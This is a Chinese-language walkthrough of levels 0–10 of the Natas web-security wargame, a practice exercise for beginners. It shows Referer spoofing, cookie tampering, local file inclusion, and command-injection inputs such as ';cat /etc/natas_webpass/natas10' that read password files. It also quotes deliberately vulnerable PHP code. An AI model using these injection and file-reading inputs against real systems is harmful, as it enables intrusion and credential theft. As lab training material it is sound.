Natas 是一個 Web 資安的 wargame,蠻適合剛入門的新手玩玩
這邊分享一下我自己每關的思路,為了保有遊戲體驗,就不分享破關的帳密囉 :P
wargame 網址: https://overthewire.org/wargames/natas/natas0.html
每關的帳號/密碼: natasX/{password}
e.g. level0 ( http://natas0.natas.labs.overthewire.org/ )
帳號: natas0
密碼: natas0
下面就開始分享破關思路惹~
- level 0
You can find the password for the next level on this page.
嗯,右鍵打開 web devtool(element tab) 就找到密碼了
- level 1
You can find the password for the next level on this page, but rightclicking has been blocked!
常做網頁開發的應該都是用快捷鍵打開 web devtool (?
mac: cmd+option+I
windows: F12
有密碼了🎉
- level 2
There is nothing on this page
再次打開 web devtool 會看到多了一個可疑的 img (1px*1px)
<img src="files/pixel.png" />
直覺來測測 web server directory index (http://natas2.natas.labs.overthewire.org/files/)
嗯,密碼果然在 users.txt
XD
- level 3
There is nothing on this page
和上一關相同@@
打開 web devtool 看看有沒有其他提示
No more information leaks!! Not even Google will find it this time…
Google ? Search Engine 嗎?
測測 robots.txt
( http://natas3.natas.labs.overthewire.org/robots.txt )
看起來是有個不明目錄設定為 disallow
~ 試著進入後就會發現 users.txt
了
- level 4
Access disallowed. You are visiting from "" while authorized users should come only from “http://natas5.natas.labs.overthewire.org/”
嗯…看起來提示是 Referrer 或是 Origin header,可以先試著打開 devtool 後,點擊 network
tab,先複製第一個 request(copy as Curl),手動置換掉 Referrer header 為以下
curl 'http://natas4.natas.labs.overthewire.org/index.php' \
....
-H 'Referer: http://natas5.natas.labs.overthewire.org/' \
....
就可以獲得密碼了
- level 5
Access disallowed. You are not logged in
常見的登入機制會是 cookie/token,因此先檢查看看 web devtool 中 Application
tab,是否有設定任何相關的 Cookie.
此時會發現一個 loggedin: 0
的 cookie,試著將值改為 1,重整就獲得密碼囉!
- level 6
提示為一個表單配上 source code(php),會看到表單的是由以下這段邏輯檢驗
<?
include "includes/secret.inc";
if(array_key_exists("submit", $_POST)) {
if($secret == $_POST['secret']) {
print "Access granted. The password for natas7 is <censored>";
} else {
print "Wrong secret";
}
}
?>
嗯…有個 includes/secret.inc
的 secret 檔,試著在網址列打入
http://natas6.natas.labs.overthewire.org/includes/secret.inc
獲得了 secret,填入表單 submit 後就有密碼了 ~
- level 7
看起來有兩個 anchor link,分別會帶上不同的 GET query string,打開 web devtool 看看有沒有其他線索
hint: password for webuser natas8 is in /etc/natas_webpass/natas8
看起來可能有哪裡可以做 injection 拿到此路徑的資料
試試看連結帶上不同的 query string ( http://natas7.natas.labs.overthewire.org/index.php?page=/123 )
發現噴有以下的錯誤
Warning: include(/123): failed to open stream: No such file or directory in /var/www/natas/natas7/index.php on line 21
Warning: include(): Failed opening '/123' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/natas/natas7/index.php on line 21
明顯的會拿 query string 參數去 include 相關的路徑,這也就代表我們試試任意替換路徑 XD
試試 http://natas7.natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8
順利的獲得密碼了!
- level 8
跟第六關幾乎一樣,不同的是表單檢驗邏輯做了更改
<?
$encodedSecret = "3d3d516343746d4d6d6c315669563362";
function encodeSecret($secret) {
return bin2hex(strrev(base64_encode($secret)));
}
if(array_key_exists("submit", $_POST)) {
if(encodeSecret($_POST['secret']) == $encodedSecret) {
print "Access granted. The password for natas9 is <censored>";
} else {
print "Wrong secret";
}
}
?>
看起來目標是要將 encode 過的 secret 反解回去 XD
將 encode 的 secret decode 回去
<?php
echo base64_decode(strrev(hex2bin("3d3d516343746d4d6d6c315669563362")));
?>
獲得 secrect 後輸入表單就可以拿到密碼了
- level 9
同樣的給了 source code 作為提示
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
passthru("grep -i $key dictionary.txt");
}
?>
查一下 passthru 的用法
A common use for this is to execute something like the pbmplus utilities that can output an image stream directly
嗯,這段程式碼明顯的是有 command injection 的漏洞
試著打看看 ;ls -al;
,嗯…如實地印出了有哪些檔案
看得到此目錄是由 http authentication 做使用者驗證的,要由 .htpasswd
反解密碼不太可能
試著掃看看有沒有可疑的檔案?
;find / -name "*pass*";
會發現有兩個可疑的目錄
/etc/natas_webpass
/etc/natas_pass
試著執行 ; ls -al /etc/natas_webpass;
發現裡面有各關的目錄及相應的權限
-r--r----- 1 natas10 natas9 33 Dec 20 2016 natas10
嗯…執行 ;cat /etc/natas_webpass/natas10
就拿到密碼了 ~
- level 10
跟上關幾乎一模一樣,差在多了 injection 的惡意字元偵測
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
if(preg_match('/[;|&]/',$key)) {
print "Input contains an illegal character!";
} else {
passthru("grep -i $key dictionary.txt");
}
}
?>
不準你用 ;
或 &
XD
尋找看看其他 command injection 的方式,仔細看看 grep 的用法
我們可以先輸入 '.*' -l -r /
列出所有 natas10 可存取的檔案,進一步的看看哪些檔案較為可疑
會發現跟上關的目錄看起來是一樣的:
/etc/natas_webpass/natas10
/etc/natas_webpass/natas11
接下來我們試著輸入 '.*' -r /etc/natas_webpass/natas11
就獲得密碼了 ~